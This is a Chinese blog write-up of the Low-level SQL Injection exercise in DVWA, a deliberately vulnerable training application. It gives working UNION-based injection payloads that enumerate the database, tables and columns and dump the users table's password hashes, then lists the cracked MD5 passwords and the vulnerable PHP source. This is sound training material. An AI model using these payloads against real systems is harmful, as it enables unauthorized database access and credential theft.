DVWA——SQL Injection通关记录(Low)

偏执的太偏执、 2022-12-17 00:30 265阅读 0赞

Security Level:Low

1.判断注入点及注入类型

看到的是一个输入框,输入数字有对应返回值

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1

所以这里应该是一个注入点,使用恒真恒假式来尝试一下

20201021092925595.png

输入

1’ and ‘1’=’2

返回无结果,确定此处为注入点

再用恒真式来显示所有结果

输入

1’ or ‘1’=’1

(’1’=’1’恒真,中间使用or连接则整个查询式子恒真,即可返回所有查询结果)

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2

2.判断数据库中的字段数

根据数据库的知识可以知道数据库对结果的排序语句为order by XXX

XXX为字段名称,第几列之类的

此处查询语句

1’ or 1=1 order by 1#

(后面的1=1不需要单引号是因为我们增加了注释符号#,于是后面的语句都被注释掉了,则原函数尾部的单引号就不需要被闭合了)

查询结果如下

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 3

可以看出是根据First name的字母排序的,那此处有两个回显点,就是一下order by 2

查询语句

1’ or 1=1 order by 2#

查询结果如下:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 4

可以看出是根据Surname的字母排序的

再看有无第三个字段,查询

1’ or 1=1 order by 3#

2020102117595744.png

由此可知一共只有两个字段,即First name 和Surname

还可以使用联合查询的方式来猜解字段数

查询语句

‘union select 1,2#

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5

回显了字段数以及他们回显的位置,字段1回显于First name,字段2回显于Surname

3.获取数据库名称

由上一步知道了两个回显点,那我们就让这两个回显点显示出我们想要获取的信息,比如用户名和数据库名,使用联合查询,查询语句如下

‘union select user(),database()#

20201021180516567.png

数据库名称dvwa

4.获取数据库中表的名称

与获取数据库名称方式相似,都是使用联合查询

查询语句

‘union select 1,group_concat(table_name) from information_schema.tables where table_schema=’dvwa’#

20201021182108384.png

或查询语句

‘union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

20201021181155854.png

下面来解释一下这个语句

首先,因为搭建DVWA环境使用的是Apache和MySQL数据库,所以有关SQL注入都是默认MySQL数据库的注入

在MySQL数据库中有一个系统默认的数据库叫做 information_schema,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

在information_schema数据库中有三个很重要的表,分别是

  • information_schema.schemata: 存储了mysql数据库中的所有数据库的库名
  • information_schema.tables: 存储了mysql数据库中的所有数据表的表名
  • information_schema.columns: 存储了mysql数据库中的所有列的列名

此处使用的是information_schema.tables,因为我们这一步就是在查询表名,然后结合上一步查询到的数据库名,table_schema表示的是数据库名称,条件语句where table_schema=’dvwa’

然后还使用了函数group_concat(table_name),意思是将查询到的table_name连在一起,默认用逗号分隔

更多参数解释详见文章查询语句参数详解

所以查询出了两个表,guestbook和users

5.获取表中字段名

查询语句

‘union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#

2020102118363646.png

方法和查询表名相同

查询到了字段名user和password这两个很关键的字段

6.尝试获取user和password字段信息

查询语句

‘union select user,password from users#

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 6

获取信息成功

7.密码解密

很明显密码是加密存储的,根据格式,密码口令为32位,因此可能会md5哈希值,根据在线解密网站进行解密,得到口令明文如下

5f4dcc3b5aa765d61d8327deb882cf99——password

  1. e99a18c428cb38d5f260853678922e03——abc123
  2. 8d3533d75ae2c3966d7e0d4fcc69216b——charley
  3. 0d107d09f5bbe40cade3de5c71e9e9b7——letmein
  4. 5f4dcc3b5aa765d61d8327deb882cf99——password

至此所有信息已知,攻击者可以登陆后台进行后续操作

8.源码分析

点击右下角View Source

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 7

  1. SQL Injection Source
  2. vulnerabilities/sqli/source/low.php
  3. <?php
  4. if( isset( $_REQUEST[ 'Submit' ] ) ) {
  5. // Get input
  6. $id = $_REQUEST[ 'id' ];
  7. // Check database
  8. $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
  9. $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  10. // Get results
  11. while( $row = mysqli_fetch_assoc( $result ) ) {
  12. // Get values
  13. $first = $row["first_name"];
  14. $last = $row["last_name"];
  15. // Feedback for end user
  16. echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
  17. }
  18. mysqli_close($GLOBALS["___mysqli_ston"]);
  19. }
  20. ?>

由语句$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”;可以明显看出网页对于输入的id没有进行任何过滤操作,此处攻击者可以构造SQL注入语句进行攻击。

发表评论

表情:
评论列表 (有 0 条评论,265人围观)

还没有评论,来说两句吧...

相关阅读

    相关 通关Junit

    通关Junit 简介 JUnit是一个Java编程语言的单元测试框架。它是最常用的单元测试框架之一,被广泛应用于Java开发中。 历代版本 JUnit

    相关 Low gradient sampling

    Low gradient sampling是一种用于优化的随机梯度下降算法变体,其中样本被选择以最小化其梯度范数的加权和,从而有助于减少梯度中的噪声和提高收敛速度。以下是一些与

    相关 provide/inject

    概述 `provide/inject`:简单的来说就是在父组件中通过`provide`来提供变量,然后在子组件中通过`inject`来注入变量。 需要注意的是这里不论子